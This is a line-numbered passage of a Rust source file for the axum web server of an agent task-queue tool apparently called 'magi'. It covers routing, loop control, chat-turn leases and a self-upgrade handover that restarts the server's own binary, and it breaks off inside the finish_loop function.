1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291#[derive(Debug, Clone)]
297pub struct Ui {
298 queue: Queue,
299 questions: Questions,
300 notices: Notices,
303 talks: Talks,
304 runs: PathBuf,
305 home: PathBuf,
306 repo: PathBuf,
307 worktrees_root: PathBuf,
314 talk_turns: Arc<Mutex<TalkTurns>>,
322 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329 resuming: Arc<Mutex<HashSet<String>>>,
337 repos_cache: repos::Cache,
341 machine_config: Option<PathBuf>,
345 merge: Option<String>,
347 looping: Arc<Mutex<LoopState>>,
349 launch: Launch,
361 #[cfg(test)]
364 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
365}
366
367#[cfg(test)]
387struct BusyQueueGate {
388 reached: tokio::sync::oneshot::Sender<()>,
389 release: std::sync::mpsc::Receiver<()>,
390}
391
392#[cfg(test)]
393impl std::fmt::Debug for BusyQueueGate {
394 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
395 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
396 }
397}
398
399impl Ui {
400 pub fn new(
402 queue: Queue,
403 questions: Questions,
404 talks: Talks,
405 runs: PathBuf,
406 home: PathBuf,
407 repo: PathBuf,
408 ) -> Self {
409 Self {
410 queue,
411 questions,
412 notices: Notices::at(home.join("notifications")),
413 talks,
414 runs,
415 home,
416 repo,
417 worktrees_root: run::default_worktree_root(),
421 talk_turns: Arc::default(),
422 upgrade_gate: Arc::default(),
423 upgrade_spawned: Arc::default(),
424 resuming: Arc::default(),
425 repos_cache: repos::Cache::new(),
426 machine_config: Config::machine_layer(),
427 merge: None,
428 looping: Arc::default(),
429 launch: launch_daemon,
430 #[cfg(test)]
431 busy_queue_gate: Arc::default(),
432 }
433 }
434
435 pub fn open(repo: PathBuf) -> Self {
438 Self::new(
439 Queue::open(),
440 Questions::open(),
441 Talks::open(),
442 run::runs_root(),
443 run::home(),
444 repo,
445 )
446 }
447
448 #[must_use]
455 pub fn with_merge(mut self, merge: Option<String>) -> Self {
456 self.merge = merge;
457 self
458 }
459
460 #[cfg(test)]
463 #[must_use]
464 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
465 self.machine_config = path;
466 self
467 }
468
469 #[must_use]
474 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
475 self.worktrees_root = root;
476 self
477 }
478
479 #[cfg(test)]
484 #[must_use]
485 fn with_launch(mut self, launch: Launch) -> Self {
486 self.launch = launch;
487 self
488 }
489
490 #[cfg(test)]
500 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
501 *self
502 .busy_queue_gate
503 .lock()
504 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
505 }
506
507 fn looping(&self) -> Arc<Mutex<LoopState>> {
509 Arc::clone(&self.looping)
510 }
511
512 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
519 if let Some(other) = foreign {
520 return Err(ApiError::conflict(format!(
521 "{} is already running the loop, so this one will not start a \
522 second: two loops on one queue race for the same claims and \
523 burn the agent quota twice over. Stop it where it was \
524 started.",
525 other.who()
526 )));
527 }
528 let mut state = self.lock_loop();
529 if state.live.as_ref().is_some_and(Live::alive) {
530 return Err(ApiError::conflict(format!(
531 "this magi web process (pid {}) is already running the loop",
532 std::process::id()
533 )));
534 }
535
536 let stop = daemon::Stop::new();
537 let opts = daemon::Opts {
541 repo: self.repo.clone(),
542 merge: self.merge.clone(),
543 worktrees_root: Some(self.worktrees_root.clone()),
550 ..daemon::Opts::default()
551 };
552 let launch = self.launch;
553 let looping = Arc::clone(&self.looping);
554 let handle = tokio::spawn({
555 let opts = opts.clone();
556 let stop = stop.clone();
557 async move {
558 let failure = match launch(opts, stop).await {
559 Ok(()) => None,
560 Err(e) => Some(format!("{e:#}")),
561 };
562 match &failure {
563 Some(why) => tracing::error!("the loop stopped: {why}"),
564 None => tracing::info!("the loop stopped"),
565 }
566 let mut state = lock_or_recover(&looping);
572 state.live = None;
573 state.last_error = failure;
574 state.rev += 1;
575 }
576 });
577 tracing::info!(
578 "the loop is now running in this process: repo {}, merge {}",
579 opts.repo.display(),
580 opts.merge.as_deref().unwrap_or("as the config says")
581 );
582 state.live = Some(Live { stop, handle, opts });
583 state.last_error = None;
586 state.rev += 1;
587 Ok(())
588 }
589
590 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
596 if let Some(other) = foreign {
597 return Err(ApiError::conflict(format!(
598 "the loop belongs to {}, and this process cannot stop it - \
599 stop it where it was started. A button that silently did \
600 nothing would be worse than this refusal.",
601 other.who()
602 )));
603 }
604 let mut state = self.lock_loop();
605 if !park {
608 state.resume_after_handover = false;
609 }
610 let Some(live) = state.live.as_ref() else {
611 return Ok(());
612 };
613 if live.stop.stopped() && (!park || live.stop.parking()) {
617 return Ok(());
618 }
619 if park {
620 live.stop.park(crate::run::ParkCause::Operator);
621 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
622 } else {
623 live.stop.stop();
624 tracing::info!("the loop was asked to stop; a run in flight is finished first");
625 }
626 state.rev += 1;
627 Ok(())
628 }
629
630 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
637 let state = self.lock_loop();
638 let live = state.live.as_ref().filter(|live| live.alive());
641 LoopView {
642 running: live.is_some(),
643 stopping: live.is_some_and(|live| live.stop.finishing()),
644 parking: live.is_some_and(|live| live.stop.parking()),
645 owned: live.is_some(),
646 repo: live
647 .map_or(&self.repo, |live| &live.opts.repo)
648 .display()
649 .to_string(),
650 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
651 last_error: state.last_error.clone(),
652 daemon: DaemonView::of(reading),
653 }
654 }
655
656 fn resume_after_handover(&self, resume: bool) -> bool {
662 if !resume {
663 return false;
664 }
665 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
666 match self.start_loop(foreign) {
667 Ok(()) => true,
668 Err(e) => {
669 let why = format!(
670 "the loop could not be resumed after the upgrade: {}",
671 e.message
672 );
673 tracing::warn!("{why}");
674 let mut state = self.lock_loop();
675 state.last_error = Some(why);
676 state.rev += 1;
677 false
678 }
679 }
680 }
681
682 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
684 lock_or_recover(&self.looping)
685 }
686
687 fn is_thinking(&self, id: &str) -> bool {
693 self.talk_turns
694 .lock()
695 .is_ok_and(|turns| turns.live.contains(id))
696 || self.talks.turn_held(id)
699 }
700
701 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
720 self.claim_talk_turn(id, false)
721 }
722
723 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
726 self.claim_talk_turn(id, true)
727 }
728
729 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
730 let mut live = self
731 .talk_turns
732 .lock()
733 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
734 if live.parking {
735 if queued {
736 *live.queued.entry(id.to_owned()).or_default() += 1;
739 return Ok(None);
740 }
741 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
742 }
743 let inserted = live.live.insert(id.to_owned());
744 let lease = if inserted {
748 match self.talks.claim_turn(id) {
749 Ok(Some(lease)) => Some(lease),
750 Ok(None) => {
751 live.live.remove(id);
752 None
753 }
754 Err(e) => {
755 live.live.remove(id);
756 return Err(ApiError::from(e));
757 }
758 }
759 } else {
760 None
761 };
762 if lease.is_none() {
763 if queued {
764 *live.queued.entry(id.to_owned()).or_default() += 1;
769 }
770 return Ok(None);
771 }
772 Ok(Some(TalkTurnGuard {
773 talk: id.to_owned(),
774 turns: Arc::clone(&self.talk_turns),
775 released: false,
776 lease,
777 }))
778 }
779
780 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
785 let mut live = self
786 .talk_turns
787 .lock()
788 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
789 if live.parking || live.live.contains(id) {
791 return Ok(TalkTurnStart::Busy);
792 }
793 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
794 return Ok(TalkTurnStart::Foreign);
795 };
796 let talk = self.talks.get(id).map_err(ApiError::from)?;
798 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
799 return Ok(TalkTurnStart::Pending);
800 }
801 live.live.insert(id.to_owned());
802 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
803 talk: id.to_owned(),
804 turns: Arc::clone(&self.talk_turns),
805 released: false,
806 lease: Some(lease),
807 }))
808 }
809
810 fn queued_generation(&self, id: &str) -> u64 {
811 let live = self
812 .talk_turns
813 .lock()
814 .unwrap_or_else(PoisonError::into_inner);
815 live.queued.get(id).copied().unwrap_or(0)
816 }
817
818 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
820 Arc::clone(&self.talk_turns)
821 }
822
823 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
830 let parking = {
831 let mut state = self.lock_loop();
832 let resume = state.resume_after_handover
842 || state
843 .live
844 .as_ref()
845 .is_some_and(|live| live.alive() && !live.stop.stopped());
846 state.resume_after_handover = resume;
847 let Some(live) = state.live.as_ref() else {
848 return Ok(None);
849 };
850 let busy = live.stop.busy_now();
851 live.stop.park(crate::run::ParkCause::Upgrade {
852 from: from.to_owned(),
853 to: to.map(|t| t.trim_start_matches('v').to_owned()),
854 });
855 state.rev += 1;
856 busy
857 };
858 Ok(if parking {
859 daemon::current_work(&self.home, jiff::Timestamp::now())
864 .into_iter()
865 .next()
866 .map(|c| c.run)
867 } else {
868 None
869 })
870 }
871
872 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
876 let mut live = self
877 .resuming
878 .lock()
879 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
880 if !live.insert(id.to_owned()) {
881 return Err(ApiError::conflict(format!(
882 "run {id} is already being resumed"
883 )));
884 }
885 Ok(ResumeGuard {
886 run: id.to_owned(),
887 resuming: Arc::clone(&self.resuming),
888 })
889 }
890
891 pub fn router(self) -> Router {
899 Router::new()
900 .route("/", get(index))
901 .route("/app.css", get(app_css))
902 .route("/app.js", get(app_js))
903 .route("/api/health", get(health))
904 .route("/api/loop", get(loop_get).post(loop_post))
905 .route("/api/upgrade", post(upgrade_post))
906 .route("/api/runs", get(runs_list))
907 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
908 .route("/api/runs/{id}/report", get(run_report))
909 .route("/api/runs/{id}/report.json", get(run_report_json))
910 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
911 .route("/api/runs/{id}/fold", post(run_fold))
912 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
913 .route("/api/runs/{id}/resume", post(run_resume))
914 .route("/api/queue", get(queue_list))
915 .route("/api/search", get(search_get))
916 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
917 .route("/api/stats", get(stats_get))
918 .route("/api/repos", get(repos_list))
919 .route("/api/settings", get(settings_get))
920 .route("/api/settings/roles", put(settings_put_roles))
921 .route("/api/queue/{id}/hold", post(queue_hold))
922 .route("/api/queue/{id}/release", post(queue_release))
923 .route("/api/queue/{id}/priority", post(queue_priority))
924 .route("/api/queue/{id}/urgent", post(queue_urgent))
925 .route("/api/queue/{id}/implementers", post(queue_implementers))
926 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
927 .route("/api/queue/{id}/edit", post(queue_edit))
928 .route("/api/queue/{id}/done", post(queue_done))
929 .route("/api/questions", get(questions_list))
930 .route("/api/questions/{id}/answer", post(question_answer))
931 .route("/api/questions/{id}/say", post(question_say))
932 .route("/api/questions/{id}/consult", post(question_consult))
933 .route("/api/questions/{id}/panel", get(question_panel))
934 .route("/api/questions/{id}/panel/index.html", get(question_panel))
942 .route("/api/questions/{id}/panel/{name}", get(question_asset))
943 .route("/api/questions/{id}/asset/{name}", get(question_asset))
944 .route("/api/notifications", get(notifications_list))
945 .route("/api/notifications/read-all", post(notifications_read_all))
946 .route("/api/notifications/{id}/read", post(notification_read))
947 .route(
948 "/api/notifications/{id}/dismiss",
949 post(notification_dismiss),
950 )
951 .route("/api/talks", get(talks_list).post(talk_post))
952 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
953 .route("/api/talks/{id}/say", post(talk_say))
954 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
955 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
956 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
957 .route("/api/talks/{id}/agent", post(talk_agent))
958 .route("/api/talks/{id}/persona", post(talk_persona))
959 .route("/api/talks/{id}/implementers", post(talk_implementers))
960 .route("/api/talks/{id}/close", post(talk_close))
961 .route("/api/talks/{id}/reopen", post(talk_reopen))
962 .route(
968 "/api/talks/{id}/attachments",
969 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
970 )
971 .route(
972 "/api/talks/{id}/attachments/{att}",
973 get(talk_attachment_get),
974 )
975 .route("/api/talks/{id}/avatar", get(talk_avatar))
976 .route("/avatars/operator.svg", get(operator_avatar))
977 .route("/avatars/magi", get(magi_avatar))
978 .route(
979 "/api/magi-icon",
980 get(magi_icon_get)
981 .put(magi_icon_put)
982 .delete(magi_icon_delete),
983 )
984 .route("/api/events", get(events))
985 .with_state(Arc::new(self))
986 }
987}
988
989const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
992
993#[derive(Debug)]
999struct TalkTurnGuard {
1000 talk: String,
1001 turns: Arc<Mutex<TalkTurns>>,
1002 released: bool,
1003 lease: Option<crate::talk::TurnLease>,
1005}
1006
1007#[derive(Debug, Default)]
1014struct TalkTurns {
1015 live: HashSet<String>,
1016 queued: HashMap<String, u64>,
1017 parking: bool,
1021}
1022
1023enum TalkTurnStart {
1026 Claimed(TalkTurnGuard),
1027 Busy,
1028 Foreign,
1031 Pending,
1032}
1033
1034impl TalkTurnGuard {
1035 fn owns(&self) -> bool {
1039 self.lease
1040 .as_ref()
1041 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1042 }
1043
1044 async fn respond(
1047 &self,
1048 talk: &mut Talk,
1049 talks: &Talks,
1050 cfg: &Config,
1051 text: &str,
1052 ) -> anyhow::Result<()> {
1053 let lease = self
1054 .lease
1055 .as_ref()
1056 .context("the turn guard no longer holds its lease")?;
1057 talk::respond(lease, talk, talks, cfg, text).await
1058 }
1059
1060 fn release(mut self, live: &mut TalkTurns) {
1063 self.lease = None;
1067 live.live.remove(&self.talk);
1068 live.queued.remove(&self.talk);
1069 self.released = true;
1070 }
1071}
1072
1073impl Drop for TalkTurnGuard {
1074 fn drop(&mut self) {
1075 if self.released {
1076 return;
1077 }
1078 drop(self.lease.take());
1080 if let Ok(mut live) = self.turns.lock() {
1081 live.live.remove(&self.talk);
1082 live.queued.remove(&self.talk);
1083 }
1084 }
1085}
1086
1087struct ResumeGuard {
1089 run: String,
1090 resuming: Arc<Mutex<HashSet<String>>>,
1091}
1092
1093impl Drop for ResumeGuard {
1094 fn drop(&mut self) {
1095 if let Ok(mut live) = self.resuming.lock() {
1096 live.remove(&self.run);
1097 }
1098 }
1099}
1100
1101async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1111 const WINDOW: Duration = Duration::from_secs(10);
1112 const GAP: Duration = Duration::from_millis(250);
1113
1114 let deadline = std::time::Instant::now() + WINDOW;
1115 let mut said = false;
1116 loop {
1117 match tokio::net::TcpListener::bind(socket).await {
1118 Ok(listener) => return Ok(listener),
1119 Err(e)
1120 if e.kind() == std::io::ErrorKind::AddrInUse
1121 && std::time::Instant::now() < deadline =>
1122 {
1123 if !said {
1124 said = true;
1125 tracing::info!(
1126 "{socket} is still held - waiting up to {}s for it, \
1127 which is what a restart looks like from here",
1128 WINDOW.as_secs()
1129 );
1130 }
1131 tokio::time::sleep(GAP).await;
1132 }
1133 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1134 }
1135 }
1136}
1137
1138static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1141
1142const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1144
1145fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1147 value.is_some_and(|v| v == "1")
1148}
1149
1150fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1173 let exe = std::env::current_exe().context("find this binary")?;
1174 let args: Vec<String> = std::env::args().skip(1).collect();
1175 updater::log_step(
1176 home,
1177 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1178 );
1179 let log_path = home.join(WEB_LOG);
1180 let open_log = || {
1181 std::fs::create_dir_all(home)?;
1182 std::fs::OpenOptions::new()
1183 .create(true)
1184 .append(true)
1185 .open(&log_path)
1186 };
1187 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1188 Ok(pair) => (
1189 std::process::Stdio::from(pair.0),
1190 std::process::Stdio::from(pair.1),
1191 ),
1192 Err(e) => {
1193 updater::log_warn(
1194 home,
1195 &format!(
1196 "could not open {}: {e}; the successor logs nowhere",
1197 log_path.display()
1198 ),
1199 );
1200 (std::process::Stdio::null(), std::process::Stdio::null())
1201 }
1202 };
1203
1204 let mut cmd = std::process::Command::new(&exe);
1205 if resume {
1206 cmd.env(RESUME_LOOP_ENV, "1");
1207 } else {
1208 cmd.env_remove(RESUME_LOOP_ENV);
1209 }
1210 cmd.args(&args)
1211 .stdin(std::process::Stdio::null())
1212 .stdout(out)
1213 .stderr(err);
1214 #[cfg(windows)]
1215 {
1216 use std::os::windows::process::CommandExt as _;
1217 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1220 }
1221 let child = cmd.spawn().context("start the successor")?;
1222 Ok(child.id())
1223}
1224
1225const WEB_LOG: &str = "web.log";
1227
1228async fn wait_for_handover(signal: &Notify) {
1232 signal.notified().await;
1233}
1234
1235pub async fn serve(opts: Opts) -> Result<()> {
1260 let (addr, warning) = resolve_bind(&opts.bind);
1261 if let Some(warning) = warning {
1262 tracing::warn!("{warning}");
1263 }
1264
1265 report::set_color(false);
1271
1272 let repo = normalize_default_repo(opts.repo).await;
1273 let ui = Ui::open(repo).with_merge(opts.merge);
1274 let home = ui.home.clone();
1279 let repo = ui.repo.clone();
1280 updater::reconcile_after_restart(&home);
1285 updater::log_step(
1286 &home,
1287 &format!(
1288 "web process started (version {}); handover log {}, successor output {}",
1289 env!("CARGO_PKG_VERSION"),
1290 updater::log_path(&home).display(),
1291 home.join(WEB_LOG).display()
1292 ),
1293 );
1294 updater::spawn_watchdog(home.clone());
1295 tokio::spawn(run_update_recheck(repo, home.clone()));
1304 let looping = ui.looping();
1305 let turns = ui.turns();
1306 let talk_store = ui.talks.clone();
1307 let socket = SocketAddr::new(addr, opts.port);
1308 let listener = bind_waiting(socket).await?;
1309 let url = format!("http://{addr}:{}", opts.port);
1310 tracing::info!(
1311 "magi web UI on {url} - there is no authentication, so anyone who can \
1312 reach this address can file and hold tasks: the tailnet is the \
1313 security boundary"
1314 );
1315 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1316 tracing::info!("resumed the loop the predecessor was running");
1317 } else {
1318 tracing::info!(
1319 "the queue loop is not running yet - start it from the UI, which is \
1320 the whole reason this process can: nothing in the queue moves until \
1321 something is running the loop"
1322 );
1323 }
1324 if opts.open {
1325 println!("{url}");
1329 }
1330
1331 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1334 let interrupted = async {
1335 if tokio::signal::ctrl_c().await.is_err() {
1336 std::future::pending::<()>().await;
1341 }
1342 };
1343 let handover = wait_for_handover(&HANDOVER);
1344 let outcome = tokio::select! {
1345 joined = &mut served => match joined {
1346 Ok(outcome) => outcome.context("serve the web UI"),
1347 Err(e) => Err(e).context("the task serving the web UI ended"),
1348 },
1349 () = interrupted => {
1350 tracing::info!("shutting down the web UI");
1351 finish_loop(&home, &looping, None).await;
1352 Ok(())
1353 }
1354 () = handover => {
1355 updater::log_step(&home, "serve: the select! woke on the handover signal");
1356 let successor_home = home.clone();
1357 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1358 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1359 spawn_successor(&successor_home, resume)
1360 })
1361 .await
1362 }
1363 };
1364 updater::log_step(
1365 &home,
1366 &match &outcome {
1367 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1368 Err(e) => format!("serve: returning an error: {e:#}"),
1369 },
1370 );
1371 outcome
1372}
1373
1374async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1395 if repo != FsPath::new(".") {
1396 return repo;
1397 }
1398 let Ok(canonical) = repo.canonicalize() else {
1399 return repo;
1400 };
1401 if git::toplevel(&canonical).await.is_ok() {
1402 return repo;
1403 }
1404 let Some(home) = dirs::home_dir() else {
1405 return repo;
1406 };
1407 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1408 Some(found) => {
1409 tracing::info!(
1410 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1411 canonical.display(),
1412 found.path.display(),
1413 found.reason,
1414 );
1415 found.path
1416 }
1417 None => repo,
1418 }
1419}
1420
1421async fn hand_over(
1451 home: &FsPath,
1452 looping: &Mutex<LoopState>,
1453 turns: &Arc<Mutex<TalkTurns>>,
1454 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1455 served: tokio::task::JoinHandle<std::io::Result<()>>,
1456 successor: impl FnOnce(bool) -> Result<u32>,
1457) -> Result<()> {
1458 updater::log_step(home, "hand_over: entered; writing the parking stage");
1459 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1463 if !recorded {
1464 updater::log_warn(
1465 home,
1466 "hand_over: upgrade.json is unreadable; no parking stage",
1467 );
1468 }
1469 finish_loop(home, looping, Some(&mut lease)).await;
1474 let parking = ParkingTurns::begin(turns);
1475 let talks_done = finish_talks(home, turns, talk_wait);
1476 tokio::pin!(talks_done);
1477 let mut beat = tokio::time::interval(LEASE_BEAT);
1478 let (abandoned, waited_for) = loop {
1479 tokio::select! {
1480 left = &mut talks_done => break left,
1481 _ = beat.tick() => lease.beat(),
1482 }
1483 };
1484 drop(lease);
1485 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1486 served.abort();
1487 let _ = served.await;
1488 updater::log_step(home, "hand_over: listener released");
1489 let resume = lock_or_recover(looping).resume_after_handover;
1492 match updater::read_progress(home) {
1493 Some(mut progress) => {
1494 progress.advance(updater::Stage::Restarting);
1495 if !abandoned.is_empty() {
1496 progress.detail = Some(format!(
1497 "handed over while {} still running after {} s",
1498 updater::talks_phrase(&abandoned),
1499 waited_for.as_secs()
1500 ));
1501 }
1502 updater::write_progress_logged(home, &progress);
1503 }
1504 None => updater::log_warn(
1505 home,
1506 "hand_over: upgrade.json is unreadable; no restarting stage",
1507 ),
1508 }
1509 updater::log_step(
1510 home,
1511 &format!("hand_over: starting the successor (resume={resume})"),
1512 );
1513 drop(parking);
1514 match successor(resume) {
1515 Ok(pid) => {
1516 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1517 Ok(())
1518 }
1519 Err(e) => {
1520 updater::log_warn(
1521 home,
1522 &format!("hand_over: the successor did not start: {e:#}"),
1523 );
1524 Err(e)
1525 }
1526 }
1527}
1528
1529const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1532
1533const TALK_POLL: Duration = Duration::from_millis(250);
1535
1536fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1539 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1540}
1541
1542fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1547 let default = Config::default().graph.timeout_talk;
1548 let longest = ids
1549 .iter()
1550 .map(|id| {
1551 talks
1552 .get(id)
1553 .ok()
1554 .and_then(|t| Config::discover(&t.repo, None).ok())
1555 .map_or(default, |(c, _)| c.graph.timeout_talk)
1556 })
1557 .max()
1558 .unwrap_or(default);
1559 talk_wait_bound(longest)
1560}
1561
1562struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1566
1567impl ParkingTurns {
1568 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1569 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1570 Self(Arc::clone(turns))
1571 }
1572}
1573
1574impl Drop for ParkingTurns {
1575 fn drop(&mut self) {
1576 self.0
1577 .lock()
1578 .unwrap_or_else(PoisonError::into_inner)
1579 .parking = false;
1580 }
1581}
1582
1583async fn finish_talks(
1588 home: &FsPath,
1589 turns: &Mutex<TalkTurns>,
1590 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1591) -> (Vec<String>, Duration) {
1592 let running = || {
1593 let mut ids: Vec<String> = turns
1594 .lock()
1595 .unwrap_or_else(PoisonError::into_inner)
1596 .live
1597 .iter()
1598 .cloned()
1599 .collect();
1600 let talks = talk::Talks::at(home.join("talks"));
1603 for t in talks.list() {
1604 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1605 ids.push(t.id);
1606 }
1607 }
1608 ids.sort();
1609 ids
1610 };
1611 let started = std::time::Instant::now();
1612 let mut seen = Vec::new();
1613 let mut bound = Duration::ZERO;
1614 loop {
1615 let ids = running();
1616 if ids != seen {
1617 bound = bound.max(bound_for(&ids));
1618 if ids.is_empty() {
1619 updater::log_step(home, "finish_talks: no chat turn is running");
1620 } else {
1621 updater::log_step(
1622 home,
1623 &format!(
1624 "finish_talks: waiting for {} to finish",
1625 updater::talks_phrase(&ids)
1626 ),
1627 );
1628 }
1629 updater::set_parked_talks(home, &ids);
1630 seen = ids;
1631 }
1632 if seen.is_empty() {
1633 return (Vec::new(), bound);
1634 }
1635 if started.elapsed() >= bound {
1636 updater::log_warn(
1637 home,
1638 &format!(
1639 "finish_talks: {} still running after {} s; handing over anyway",
1640 updater::talks_phrase(&seen),
1641 bound.as_secs()
1642 ),
1643 );
1644 return (seen, bound);
1645 }
1646 tokio::time::sleep(TALK_POLL).await;
1647 }
1648}
1649
1650const LEASE_BEAT: Duration = Duration::from_secs(20);
1653
1654async fn finish_loop(
1661 home: &FsPath,
1662 state: &Mutex<LoopState>,
